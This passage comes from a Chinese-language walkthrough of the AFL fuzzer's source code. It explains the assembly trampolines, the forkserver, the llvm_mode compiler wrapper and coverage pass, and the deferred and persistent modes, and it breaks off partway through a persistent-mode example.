12. 设置 `input_file` 变量：`input_file = argv[argc - 1];`，把最后一个参数的值作为 `input_file`；
1. 如果 `input_file` 的首字符为`-`：
1. 如果后续为 `-version`，则 `just_version?= 1`, `modified_file?= input_file`，然后跳转到`wrap_things_up`。这里就只是做`version`的查询；
2. 如果后续不为 `-version`，抛出异常；
2. 如果 `input_file` 首字符不为`-`，比较 `input_file` 和 `tmp_dir`、`/var/tmp` 、`/tmp/`的前 `strlen(tmp_dir)/9/5`个字节是否相同，如果不相同，就设置 `pass_thru` 为1；
13. 设置 `modified_file`：`modified_file = alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(), (u32)time(NULL));`，即为`tmp_dir/afl-pid-tim.s` 格式的字符串
1. 设置`as_params[as_par_cnt++] = modified_file`，`as_params[as_par_cnt] = NULL;`。
#### 3\. instrumentation trampoline 和 main_payload
`trampoline` 的含义是“蹦床”，直译过来就是“插桩蹦床”。个人感觉直接使用英文更能表达出其代表的真实含义和作用，可以简单理解为桩代码。
##### 1\. trampoline_fmt_64/32
根据前面内容知道，在64位环境下，AFL会插入 `trampoline_fmt_64`
到文件中，在32位环境下，AFL会插入`trampoline_fmt_32` 到文件中。`trampoline_fmt_64/32`定义在 `afl-as.h` 头文件中：
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n"
"movl %%edi, 0(%%esp)\n"
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n" // 向ecx中存入识别代码块的随机桩代码id
"call __afl_maybe_log\n" // 调用 __afl_maybe_log 函数
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";
static const u8* trampoline_fmt_64 =
"\n"
"/* --- AFL TRAMPOLINE (64-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leaq -(128+24)(%%rsp), %%rsp\n"
"movq %%rdx, 0(%%rsp)\n"
"movq %%rcx, 8(%%rsp)\n"
"movq %%rax, 16(%%rsp)\n"
"movq $0x%08x, %%rcx\n" // 64位下使用的寄存器为rcx
"call __afl_maybe_log\n" // 调用 __afl_maybe_log 函数
"movq 16(%%rsp), %%rax\n"
"movq 8(%%rsp), %%rcx\n"
"movq 0(%%rsp), %%rdx\n"
"leaq (128+24)(%%rsp), %%rsp\n"
"\n"
"/* --- END --- */\n"
"\n";
上面列出的插桩代码与我们在 `.s` 文件和IDA逆向中看到的插桩代码是一样的：
`.s` 文件中的桩代码：
IDA逆向中显示的桩代码：
上述代码执行的主要功能包括：
* 保存 `rdx`、 `rcx` 、`rax` 寄存器
* 将 `rcx` 的值设置为 `fprintf()` 函数将要打印的变量内容
* 调用 `__afl_maybe_log` 函数
* 恢复寄存器
在以上的功能中， `__afl_maybe_log` 才是核心内容。
从 `__afl_maybe_log` 函数开始，后续的处理流程大致如下(图片来自ScUpax0s师傅)：
首先对上面流程中涉及到的几个bss段的变量进行简单说明（以64位为例，从`main_payload_64`中提取）：
.AFL_VARS:
.comm __afl_area_ptr, 8
.comm __afl_prev_loc, 8
.comm __afl_fork_pid, 4
.comm __afl_temp, 4
.comm __afl_setup_failure, 1
.comm __afl_global_area_ptr, 8, 8
* `__afl_area_ptr`：共享内存地址；
* `__afl_prev_loc`：上一个插桩位置（id为R(100)随机数的值）；
* `__afl_fork_pid`：由fork产生的子进程的pid；
* `__afl_temp`：缓冲区；
* `__afl_setup_failure`：标志位，如果置位则直接退出；
* `__afl_global_area_ptr`：全局指针。
**说明**
以下介绍的指令段均来自于 `main_payload_64` 。
##### 2\. __afl_maybe_log
__afl_maybe_log: /* 源码删除无关内容后 */
lahf
seto %al
/* Check if SHM region is already mapped. */
movq __afl_area_ptr(%rip), %rdx
testq %rdx, %rdx
je __afl_setup
首先，使用 `lahf` 指令（加载状态标志位到`AH`）将EFLAGS寄存器的低八位复制到
`AH`，被复制的标志位包括：符号标志位（SF）、零标志位（ZF）、辅助进位标志位（AF）、奇偶标志位（PF）和进位标志位（CF），使用该指令可以方便地将标志位副本保存在变量中；
然后，使用 `seto` 指令溢出置位；
接下来检查共享内存是否进行了设置，判断 `__afl_area_ptr` 是否为NULL：
* 如果为NULL，跳转到 `__afl_setup` 函数进行设置；
* 如果不为NULL，继续进行。
##### 3\. __afl_setup
__afl_setup:
/* Do not retry setup is we had previous failues. */
cmpb $0, __afl_setup_failure(%rip)
jne __afl_return
/* Check out if we have a global pointer on file. */
movq __afl_global_area_ptr(%rip), %rdx
testq %rdx, %rdx
je __afl_setup_first
movq %rdx, __afl_area_ptr(%rip)
jmp __afl_store
该部分的主要作用为初始化 `__afl_area_ptr` ，且只在运行到第一个桩时进行本次初始化。
首先，如果 `__afl_setup_failure` 不为0，直接跳转到 `__afl_return` 返回；
然后，检查 `__afl_global_area_ptr` 文件指针是否为NULL：
* 如果为NULL，跳转到 `__afl_setup_first` 进行接下来的工作；
* 如果不为NULL，将 `__afl_global_area_ptr` 的值赋给 `__afl_area_ptr`，然后跳转到 `__afl_store` 。
##### 4\. __afl_setup_first
__afl_setup_first:
/* Save everything that is not yet saved and that may be touched by
getenv() and several other libcalls we'll be relying on. */
leaq -352(%rsp), %rsp
movq %rax, 0(%rsp)
movq %rcx, 8(%rsp)
movq %rdi, 16(%rsp)
movq %rsi, 32(%rsp)
movq %r8, 40(%rsp)
movq %r9, 48(%rsp)
movq %r10, 56(%rsp)
movq %r11, 64(%rsp)
movq %xmm0, 96(%rsp)
movq %xmm1, 112(%rsp)
movq %xmm2, 128(%rsp)
movq %xmm3, 144(%rsp)
movq %xmm4, 160(%rsp)
movq %xmm5, 176(%rsp)
movq %xmm6, 192(%rsp)
movq %xmm7, 208(%rsp)
movq %xmm8, 224(%rsp)
movq %xmm9, 240(%rsp)
movq %xmm10, 256(%rsp)
movq %xmm11, 272(%rsp)
movq %xmm12, 288(%rsp)
movq %xmm13, 304(%rsp)
movq %xmm14, 320(%rsp)
movq %xmm15, 336(%rsp)
/* Map SHM, jumping to __afl_setup_abort if something goes wrong. */
/* The 64-bit ABI requires 16-byte stack alignment. We'll keep the
original stack ptr in the callee-saved r12. */
pushq %r12
movq %rsp, %r12
subq $16, %rsp
andq $0xfffffffffffffff0, %rsp
leaq .AFL_SHM_ENV(%rip), %rdi
call _getenv
testq %rax, %rax
je __afl_setup_abort
movq %rax, %rdi
call _atoi
xorq %rdx, %rdx /* shmat flags */
xorq %rsi, %rsi /* requested addr */
movq %rax, %rdi /* SHM ID */
call _shmat
cmpq $-1, %rax
je __afl_setup_abort
/* Store the address of the SHM region. */
movq %rax, %rdx
movq %rax, __afl_area_ptr(%rip)
movq %rax, __afl_global_area_ptr(%rip)
movq %rax, %rdx
首先，保存所有寄存器的值，包括 `xmm` 寄存器组；
然后，进行 `rsp` 的对齐；
然后，获取环境变量 `__AFL_SHM_ID`，该环境变量保存的是共享内存的ID：
* 如果获取失败，跳转到 `__afl_setup_abort` ；
* 如果获取成功，调用 `_shmat` ，启用对共享内存的访问，启用失败跳转到 `__afl_setup_abort`。
接下来，将 `_shmat` 返回的共享内存地址存储在 `__afl_area_ptr` 和 `__afl_global_area_ptr` 变量中。
后面即开始运行 `__afl_forkserver`。
##### 5\. __afl_forkserver
__afl_forkserver:
/* Enter the fork server mode to avoid the overhead of execve() calls. We
push rdx (area ptr) twice to keep stack alignment neat. */
pushq %rdx
pushq %rdx
/* Phone home and tell the parent that we're OK. (Note that signals with
no SA_RESTART will mess it up). If this fails, assume that the fd is
closed because we were execve()d from an instrumented binary, or because
the parent doesn't want to use the fork server. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
CALL_L64("write")
cmpq $4, %rax
jne __afl_fork_resume
这一段实现的主要功能是向 `FORKSRV_FD+1` （也就是198+1）号描述符（即状态管道）中写 `__afl_temp` 中的4个字节，告诉
fork server （将在后续的文章中进行详细解释）已经成功启动。
##### 6\. __afl_fork_wait_loop
__afl_fork_wait_loop:
/* Wait for parent by reading from the pipe. Abort if read fails. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY(FORKSRV_FD) ", %rdi /* file desc */
CALL_L64("read")
cmpq $4, %rax
jne __afl_die
/* Once woken up, create a clone of our process. This is an excellent use
case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly
caches getpid() results and offers no way to update the value, breaking
abort(), raise(), and a bunch of other things :-( */
CALL_L64("fork")
cmpq $0, %rax
jl __afl_die
je __afl_fork_resume
/* In parent process: write PID to pipe, then wait for child. */
movl %eax, __afl_fork_pid(%rip)
movq $4, %rdx /* length */
leaq __afl_fork_pid(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
CALL_L64("write")
movq $0, %rdx /* no flags */
leaq __afl_temp(%rip), %rsi /* status */
movq __afl_fork_pid(%rip), %rdi /* PID */
CALL_L64("waitpid")
cmpq $0, %rax
jle __afl_die
/* Relay wait status to pipe, then loop back. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
CALL_L64("write")
jmp __afl_fork_wait_loop
1. 等待fuzzer通过控制管道发送过来的命令，读入到 `__afl_temp` 中：
2. 读取失败，跳转到 `__afl_die` ，结束循环；
3. 读取成功，继续；
4. fork 一个子进程，子进程执行 `__afl_fork_resume`；
5. 将子进程的pid赋给 `__afl_fork_pid`，并写到状态管道中通知父进程；
6. 等待子进程执行完成，写入状态管道告知 fuzzer；
7. 重新执行下一轮 `__afl_fork_wait_loop` 。
##### 7\. __afl_fork_resume
__afl_fork_resume:
/* In child process: close fds, resume execution. */
movq $" STRINGIFY(FORKSRV_FD) ", %rdi
CALL_L64("close")
movq $(" STRINGIFY(FORKSRV_FD) " + 1), %rdi
CALL_L64("close")
popq %rdx
popq %rdx
movq %r12, %rsp
popq %r12
movq 0(%rsp), %rax
movq 8(%rsp), %rcx
movq 16(%rsp), %rdi
movq 32(%rsp), %rsi
movq 40(%rsp), %r8
movq 48(%rsp), %r9
movq 56(%rsp), %r10
movq 64(%rsp), %r11
movq 96(%rsp), %xmm0
movq 112(%rsp), %xmm1
movq 128(%rsp), %xmm2
movq 144(%rsp), %xmm3
movq 160(%rsp), %xmm4
movq 176(%rsp), %xmm5
movq 192(%rsp), %xmm6
movq 208(%rsp), %xmm7
movq 224(%rsp), %xmm8
movq 240(%rsp), %xmm9
movq 256(%rsp), %xmm10
movq 272(%rsp), %xmm11
movq 288(%rsp), %xmm12
movq 304(%rsp), %xmm13
movq 320(%rsp), %xmm14
movq 336(%rsp), %xmm15
leaq 352(%rsp), %rsp
jmp __afl_store
1. 关闭子进程中的fd；
2. 恢复子进程的寄存器状态；
3. 跳转到 `__afl_store` 执行。
##### 8\. __afl_store
__afl_store:
/* Calculate and store hit for the code location specified in rcx. */
xorq __afl_prev_loc(%rip), %rcx
xorq %rcx, __afl_prev_loc(%rip)
shrq $1, __afl_prev_loc(%rip)
incb (%rdx, %rcx, 1)
我们直接看反编译的代码：
这里第一步的异或中的 `a4` ，其实是调用 `__afl_maybe_log` 时传入 的参数：
再往上追溯到插桩代码：
可以看到传入 `rcx` 的，实际上就是用于标记当前桩的随机id， 而 `_afl_prev_loc` 其实是上一个桩的随机id。
经过两次异或之后，再将 `_afl_prev_loc` 右移一位作为新的 `_afl_prev_loc`，最后再共享内存中存储当前插桩位置的地方计数加一。
## 二、AFL 的插桩 —— llvm_mode
### （一）、LLVM 前置知识
LLVM 主要为了解决编译时多种多样的前端和后端导致编译环境复杂、苛刻的问题，其核心为设计了一个称为 `LLVM?IR`
的中间表示，并以库的形式提供一些列接口，以提供诸如操作 IR 、生成目标平台代码等等后端的功能。其整体架构如下所示：
不同的前端和后端使用统一的中间代码`LLVM InterMediate Representation(LLVM
IR)`，其结果就是如果需要支持一门新的编程语言，只需要实现一个新的前端；如果需要支持一款新的硬件设备，只需要实现一个新的后端；优化阶段为通用阶段，针对统一的
LLVM IR ，与新的编程语言和硬件设备无关。
GCC 的前后端耦合在一起，没有进行分离，所以GCC为了支持一门新的编程语言或一个新的硬件设备，需要重新开发前端到后端的完整过程。
Clang 是 LLVM 项目的一个子项目，它是 LLVM 架构下的 C/C++/Objective-C 的编译器，是 LLVM
前端的一部分。相较于GCC，具备编译速度快、占用内存少、模块化设计、诊断信息可读性强、设计清晰简单等优点。
最终从源码到机器码的流程如下（以 Clang 做编译器为例）：
（LLVM Pass 是一些中间过程处理 IR 的可以用户自定义的内容，可以用来遍历、修改 IR 以达到插桩、优化、静态分析等目的。）
代码首先由编译器前端clang处理后得到中间代码IR，然后经过各 LLVM Pass 进行优化和转换，最终交给编译器后端生成机器码。
### （二）、 AFL的afl-clang-fast
#### 1\. 概述
AFL的 `llvm_mode` 可以实现编译器级别的插桩，可以替代 `afl-gcc` 或 `afl-clang`
使用的比较“粗暴”的汇编级别的重写的方法，且具备如下几个优势：
1. 编译器可以进行很多优化以提升效率；
2. 可以实现CPU无关，可以在非 x86 架构上进行fuzz；
3. 可以更好地处理多线程目标。
在AFL的 `llvm_mode` 文件夹下包含3个文件： `afl-clang-fast.c` ，`?afl-llvm-pass.so.cc`，?`afl-llvm-rt.o.c`。
`afl-llvm-rt.o.c` 文件主要是重写了 `afl-as.h` 文件中的 `main_payload` 部分，方便调用；
`afl-llvm-pass.so.cc` 文件主要是当通过 `afl-clang-fast` 调用 clang 时，这个pass被插入到 LLVM
中，告诉编译器添加与 ``afl-as.h` 中大致等效的代码；
`afl-clang-fast.c` 文件本质上是 clang 的 wrapper，最终调用的还是 clang 。但是与 `afl-gcc`
一样，会进行一些参数处理。
`llvm_mode` 的插桩思路就是通过编写pass来实现信息记录，对每个基本块都插入探针，具体代码在 `afl-llvm-pass.so.cc`
文件中，初始化和forkserver操作通过链接完成。
#### 2\. 源码
##### 1\. afl-clang-fast.c
###### 1\. main 函数
`main` 函数的全部逻辑如下：
主要是对 `find_obj(),?edit_params(),?execvp()` 函数的调用，
其中主要有以下三个函数的调用：
* `find_obj(argv[0])`：查找运行时library
* `edit_params(argc, argv)`：处理传入的编译参数，将确定好的参数放入 `cc_params[]` 数组
* `execvp(cc_params[0], (cahr**)cc_params)`：替换进程空间，传递参数，执行要调用的clang
这里后两个函数的作用与 `afl-gcc.c` 中的作用基本相同，只是对参数的处理过程存在不同，不同的主要是 `find_obj()` 函数。
###### 2\. find_obj 函数
`find_obj()`函数的控制流逻辑如下：
* 首先，读取环境变量 `AFL_PATH` 的值：
* 如果读取成功，确认 `AFL_PATH/afl-llvm-rt.o` 是否可以访问；如果可以访问，设置该目录为 `obj_path` ，然后直接返回；
* 如果读取失败，检查 `arg0` 中是否存在 `/` 字符，如果存在，则判断最后一个 `/` 前面的路径为 AFL 的根目录；然后读取`afl-llvm-rt.o`文件，成功读取，设置该目录为 `obj_path` ，然后直接返回。
* 如果上面两种方式都失败，到`/usr/local/lib/afl` 目录下查找是否存在 `afl-llvm-rt.o` ，如果存在，则设置为 `obj_path` 并直接返回（之所以向该路径下寻找，是因为默认的AFL的MakeFile在编译时，会定义一个名为`AFL_PATH`的宏，该宏会指向该路径）；
* 如果以上全部失败，抛出异常提示找不到 `afl-llvm-rt.o` 文件或 `afl-llvm-pass.so` 文件，并要求设置 `AFL_PATH` 环境变量 。
函数的主要功能是在寻找AFL的路径以找到 `afl-llvm-rt.o` 文件，该文件即为要用到的运行时库。
###### 3\. edit_params 函数
该函数的主要作用仍然为编辑参数数组，其控制流程如下：
* 首先，判断执行的是否为 `afl-clang-fast++` ：
* 如果是，设置 `cc_params[0]` 为环境变量 `AFL_CXX`；如果环境变量为空，则设置为 `clang++` ；
* 如果不是，设置 `cc_params[0]` 为环境变量 `AFL_CC`；如果环境变量为空，则设置为 `clang` ；
* 判断是否定义了 `USE_TRACE_PC` 宏，如果有，添加 `-fsanitize-coverage=trace-pc-guard -mllvm(only Android) -sanitizer-coverage-block-threshold=0(only Android)` 选项到参数数组；如果没有，依次将 `-Xclang -load -Xclang obj_path/afl-llvm-pass.so -Qunused-arguments` 选项添加到参数数组；（这里涉及到llvm_mode使用的2种插桩方式：默认使用的是传统模式，使用 `afl-llvm-pass.so` 注入来进行插桩，这种方式较为稳定；另外一种是处于实验阶段的方式——`trace-pc-guard` 模式，对于该模式的详细介绍可以参考[llvm相关文档——tracing-pcs-with-guards](https://clang.llvm.org/docs/SanitizerCoverage.html#tracing-pcs-with-guards)）
* 遍历传递给 `afl-clang-fast` 的参数，进行一定的检查和设置，并添加到 `cc_params` 数组：
* 如果存在 `-m32` 或 `armv7a-linux-androideabi` ，设置 `bit_mode` 为32；
* 如果存在 `-m64` ，设置 `bit_mode` 为64；
* 如果存在 `-x` ，设置 `x_set` 为1；
* 如果存在 `-fsanitize=address` 或 `-fsanitize=memory`，设置 `asan_set` 为1；
* 如果存在 `-Wl,-z,defs` 或 `-Wl,--no-undefined`，则直接pass掉。
* 检查环境变量是否设置了 `AFL_HARDEN`：
* 如果有，添加 `-fstack-protector-all` 选项；
* 如果有且没有设置 `FORTIFY_SOURCE` ，添加 `-D_FORTIFY_SOURCE=2` 选项；
* 检查参数中是否存在 `-fsanitize=memory`，即 `asan_set` 为0：
* 如果没有，尝试读取环境变量 `AFL_USE_ASAN`，如果存在，添加 `-U_FORTIFY_SOURCE -fsanitize=address`；
* 接下来对环境变量`AFL_USE_MSAN`的处理方式与 `AFL_USE_ASAN` 类似，添加的选项为 `-U_FORTIFY_SOURCE?-fsanitize=memory`；
* 检查是否定义了 `USE_TRACE_PC` 宏，如果存在定义，检查是否存在环境变量 `AFL_INST_RATIO`，如果存在，抛出异常`AFL_INST_RATIO` 无法在trace-pc时使用；
* 检查环境变量 `AFL_NO_BUILTIN` ，如果没有设置，添加 `-g?-O3?-funroll-loops`；
* 检查环境变量 `AFL_NO_BUILTIN`，如果进行了设置，添加 `-fno-builtin-strcmp -fno-builtin-strncmp -fno-builtin-strcasecmp -fno-builtin-strcasecmp -fno-builtin-memcmp`；
* 添加参数 `-D__AFL_HAVE_MANUAL_CONTROL=1?-D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1`；
* 定义了两个宏 `__AFL_LOOP(),?__AFL_INIT()`；
* 检查是否设置了 `x_set`， 如果有添加 `-x?none`；
* 检查是否设置了宏 `__ANDORID__` ，如果没有，判断 `bit_mode` 的值：
* 如果为0，即没有`-m32`和`-m64`，添加 `obj_path/afl-llvm-rt.o` ；
* 如果为32，添加 `obj_path/afl-llvm-rt-32.o` ；
* 如果为64，添加 `obj_path/afl-llvm-rt-64.o` 。
##### 2\. afl-llvm-pass.so.cc
`afl-llvm-pass.so.cc` 文件实现了 LLVM-mode 下的一个插桩 LLVM Pass。
本文不过多关心如何实现一个LLVM Pass，重点分析该pass的实现逻辑。
该文件只有一个Transform?pass：`?AFLCoverage`，继承自 `ModulePass`，实现了一个 `runOnModule`
函数，这也是我们需要重点分析的函数。
namespace {
class AFLCoverage : public ModulePass {
public:
static char ID;
AFLCoverage() : ModulePass(ID) { }
bool runOnModule(Module &M) override;
// StringRef getPassName() const override {
// return "American Fuzzy Lop Instrumentation";
// }
};
}
###### 1\. pass注册
对pass进行注册的部分源码如下：
static void registerAFLPass(const PassManagerBuilder &,
legacy::PassManagerBase &PM) {
PM.add(new AFLCoverage());
}
static RegisterStandardPasses RegisterAFLPass(
PassManagerBuilder::EP_ModuleOptimizerEarly, registerAFLPass);
static RegisterStandardPasses RegisterAFLPass0(
PassManagerBuilder::EP_EnabledOnOptLevel0, registerAFLPass);
其核心功能为向PassManager注册新的pass，每个pass相互独立。
对于pass注册的细节部分请读者自行研究llvm的相关内容。
###### 2\. runOnModule 函数
该函数为该文件中的关键函数，其控制流程图如下：
* 首先，通过 `getContext()` 来获取 `LLVMContext` ，获取进程上下文：
```c LLVMContext &C = M.getContext();
IntegerType _Int8Ty = IntegerType::getInt8Ty(C); IntegerType_ Int32Ty =
IntegerType::getInt32Ty(C); ```
* 设置插桩密度：读取环境变量 `AFL_INST_RATIO` ，并赋值给 `inst_ratio`，其值默认为100，范围为 1～100，该值表示插桩概率；
* 获取只想共享内存shm的指针以及上一个基本块的随机ID：
```c GlobalVariable *AFLMapPtr = new GlobalVariable(M,
PointerType::get(Int8Ty, 0), false, GlobalValue::ExternalLinkage, 0,
"__afl_area_ptr");
GlobalVariable *AFLPrevLoc = new GlobalVariable( M, Int32Ty, false,
GlobalValue::ExternalLinkage, 0, "__afl_prev_loc", 0,
GlobalVariable::GeneralDynamicTLSModel, 0, false); ```
* 进入插桩过程：
* 通过 `for` 循环遍历每个BB（基本块），寻找BB中适合插入桩代码的位置，然后通过初始化 `IRBuilder` 实例执行插入；
`c BasicBlock::iterator IP = BB.getFirstInsertionPt(); IRBuilder<>
IRB(&(*IP));`
* 随机创建当前BB的ID，然后插入load指令，获取前一个BB的ID；
```c if (AFL_R(100) >= inst_ratio) continue; // 如果大于插桩密度，进行随机插桩
/ _Make up cur_loc_ /
unsigned int cur_loc = AFL_R(MAP_SIZE);
ConstantInt *CurLoc = ConstantInt::get(Int32Ty, cur_loc); // 随机创建当前基本块ID
/ _Load prev_loc_ /
LoadInst _PrevLoc = IRB.CreateLoad(AFLPrevLoc); PrevLoc->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None)); Value
_PrevLocCasted = IRB.CreateZExt(PrevLoc, IRB.getInt32Ty()); // 获取上一个基本块的随机ID
```
* 插入load指令，获取共享内存的地址，并调用 `CreateGEP` 函数获取共享内存中指定index的地址；
```c / _Load SHM pointer_ /
LoadInst _MapPtr = IRB.CreateLoad(AFLMapPtr); MapPtr->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None)); Value
_MapPtrIdx = IRB.CreateGEP(MapPtr, IRB.CreateXor(PrevLocCasted, CurLoc)); ```
* 插入load指令，获取对应index地址的值；插入add指令加一，然后创建store指令写入新值，并更新共享内存；
```c / _Update bitmap_ /
LoadInst _Counter = IRB.CreateLoad(MapPtrIdx); Counter->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None)); Value _Incr =
IRB.CreateAdd(Counter, ConstantInt::get(Int8Ty, 1)); IRB.CreateStore(Incr,
MapPtrIdx) ->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C, None));
```
* 右移 `cur_loc` ，插入store指令，更新 `__afl_prev_loc`；
```c / _Set prev_loc to cur_loc >> 1 _/
StoreInst *Store = IRB.CreateStore(ConstantInt::get(Int32Ty, cur_loc >> 1),
AFLPrevLoc); Store->setMetadata(M.getMDKindID("nosanitize"), MDNode::get(C,
None)); ```
* 最后对插桩计数加1；
* 扫描下一个BB，根据设置是否为quiet模式等，并判断 `inst_blocks` 是否为0，如果为0则说明没有进行插桩；
```c if (!be_quiet) {
if (!inst_blocks) WARNF("No instrumentation targets found.");
else OKF("Instrumented %u locations (%s mode, ratio %u%%).",
inst_blocks, getenv("AFL_HARDEN") ? "hardened" :
((getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) ?
"ASAN/MSAN" : "non-hardened"), inst_ratio);
} ```
整个插桩过程较为清晰，没有冗余动作和代码。
##### 3\. afl-llvm-rt.o.c
该文件主要实现了llvm_mode的3个特殊功能：`deferred?instrumentation,?persistent mode,trace-pc-guard?mode?`。
###### 1\. deferred instrumentation
AFL会尝试通过只执行一次目标二进制文件来提升性能，在 `main()`
之前暂停程序，然后克隆“主”进程获得一个稳定的可进行持续fuzz的目标。简言之，避免目标二进制文件的多次、重复的完整运行，而是采取了一种类似快照的机制。
虽然这种机制可以减少程序运行在操作系统、链接器和libc级别的消耗，但是在面对大型配置文件的解析时，优势并不明显。
在这种情况下，可以将 `forkserver`
的初始化放在大部分初始化工作完成之后、二进制文件解析之前来进行，这在某些情况下可以提升10倍以上的性能。我们把这种方式称为LLVM模式下的
`deferred?instrumentation`。
首先，在代码中寻找可以进行延迟克隆的合适的、不会破坏原二进制文件的位置，然后添加如下代码：
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
以上代码插入，在 `afl-clang-fast.c` 文件中有说明：
cc_params[cc_par_cnt++] = "-D__AFL_INIT()="
"do { static volatile char *_A __attribute__((used)); "
" _A = (char*)\"" DEFER_SIG "\"; "
#ifdef __APPLE__
"__attribute__((visibility(\"default\"))) "
"void _I(void) __asm__(\"___afl_manual_init\"); "
#else
"__attribute__((visibility(\"default\"))) "
"void _I(void) __asm__(\"__afl_manual_init\"); "
#endif /* ^__APPLE__ */
`__afl_manual_init()` 函数实现如下：
/* This one can be called from user code when deferred forkserver mode
is enabled. */
void __afl_manual_init(void) {
static u8 init_done;
if (!init_done) {
__afl_map_shm();
__afl_start_forkserver();
init_done = 1;
}
}
首先，判断是否进行了初始化，没有则调用 `__afl_map_shm()` 函数进行共享内存初始化。 `__afl_map_shm()` 函数如下：
/* SHM setup. */
static void __afl_map_shm(void) {
u8 *id_str = getenv(SHM_ENV_VAR); // 读取环境变量 SHM_ENV_VAR 获取id
if (id_str) { // 成功读取id
u32 shm_id = atoi(id_str);
__afl_area_ptr = shmat(shm_id, NULL, 0); // 获取shm地址，赋给 __afl_area_ptr
/* Whooooops. */
if (__afl_area_ptr == (void *)-1) _exit(1); // 异常则退出
/* Write something into the bitmap so that even with low AFL_INST_RATIO,
our parent doesn't give up on us. */
__afl_area_ptr[0] = 1; // 进行设置
}
}
然后，调用 `__afl_start_forkserver()` 函数开始执行forkserver：
/* Fork server logic. */
static void __afl_start_forkserver(void) {
static u8 tmp[4];
s32 child_pid;
u8 child_stopped = 0;
/* Phone home and tell the parent that we're OK. If parent isn't there,
assume we're not running in forkserver mode and just execute program. */
if (write(FORKSRV_FD + 1, tmp, 4) != 4) return; // 写入4字节到状态管道，通知 fuzzer已准备完成
while (1) {
u32 was_killed;
int status;
/* Wait for parent by reading from the pipe. Abort if read fails. */
if (read(FORKSRV_FD, &was_killed, 4) != 4) _exit(1);
/* If we stopped the child in persistent mode, but there was a race
condition and afl-fuzz already issued SIGKILL, write off the old
process. */
// 处于persistent mode且子进程已被killed
if (child_stopped && was_killed) {
child_stopped = 0;
if (waitpid(child_pid, &status, 0) < 0) _exit(1);
}
if (!child_stopped) {
/* Once woken up, create a clone of our process. */
child_pid = fork(); // 重新fork
if (child_pid < 0) _exit(1);
/* In child process: close fds, resume execution. */
if (!child_pid) {
close(FORKSRV_FD); // 关闭fd，
close(FORKSRV_FD + 1);
return;
}
} else {
/* Special handling for persistent mode: if the child is alive but
currently stopped, simply restart it with SIGCONT. */
// 子进程只是暂停，则进行重启
kill(child_pid, SIGCONT);
child_stopped = 0;
}
/* In parent process: write PID to pipe, then wait for child. */
if (write(FORKSRV_FD + 1, &child_pid, 4) != 4) _exit(1);
if (waitpid(child_pid, &status, is_persistent ? WUNTRACED : 0) < 0)
_exit(1);
/* In persistent mode, the child stops itself with SIGSTOP to indicate
a successful run. In this case, we want to wake it up without forking
again. */
if (WIFSTOPPED(status)) child_stopped = 1;
/* Relay wait status to pipe, then loop back. */
if (write(FORKSRV_FD + 1, &status, 4) != 4) _exit(1);
}
}
上述逻辑可以概括如下：
* 首先，设置 `child_stopped?= 0`，写入4字节到状态管道，通知fuzzer已准备完成；
* 进入 `while` ，开启fuzz循环：
* 调用 `read` 从控制管道读取4字节，判断子进程是否超时。如果管道内读取失败，发生阻塞，读取成功则表示AFL指示forkserver执行fuzz；
* 如果 `child_stopped` 为0，则fork出一个子进程执行fuzz，关闭和控制管道和状态管道相关的fd，跳出fuzz循环；
* 如果 `child_stopped` 为1，在 `persistent mode` 下进行的特殊处理，此时子进程还活着，只是被暂停了，可以通过`kill(child_pid, SIGCONT)`来简单的重启，然后设置`child_stopped`为0；
* forkserver向状态管道 `FORKSRV_FD + 1` 写入子进程的pid，然后等待子进程结束；
* `WIFSTOPPED(status)` 宏确定返回值是否对应于一个暂停子进程，因为在 `persistent mode` 里子进程会通过 `SIGSTOP` 信号来暂停自己，并以此指示运行成功，我们需要通过 `SIGCONT`信号来唤醒子进程继续执行，不需要再进行一次fuzz，设置`child_stopped`为1；
* 子进程结束后，向状态管道 `FORKSRV_FD + 1` 写入4个字节，通知AFL本次执行结束。
###### 2\. persistent mode
`persistent?mode`
并没有通过fork子进程的方式来执行fuzz。一些库中提供的API是无状态的，或者可以在处理不同输入文件之间进行重置，恢复到之前的状态。执行此类重置时，可以使用一个长期存活的进程来测试多个用例，以这种方式来减少重复的
`fork()` 调用和操作系统的开销。不得不说，这种思路真的很优秀。
一个基础的框架大概如下：
while (__AFL_LOOP(1000)) {
/* Read input data. */
/* Call library code to be fuzzed. */
/* Reset state. */
}
/* Exit normally */
设置一个 `while` 循环，并指定循环次数。在每次循环内，首先读取数据，然后调用想fuzz的库代码，然后重置状态，继续循环。（本质上也是一种快照。）
对于循环次数的设置，循环次数控制了AFL从头重新启动过程之前的最大迭代次数，较小的循环次数可以降低内存泄漏类故障的影响，官方建议的数值为1000。（循环次数设置过高可能出现较多意料之外的问题，并不建议设置过高。）
一个 `persistent?mode` 的样例程序如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
/* Main entry point. */
int main(int argc, char** argv) {
char buf[100]; /* Example-only buffer, you'd replace it with other global or
local variables appropriate for your use case. */
while (__AFL_LOOP(1000)) {
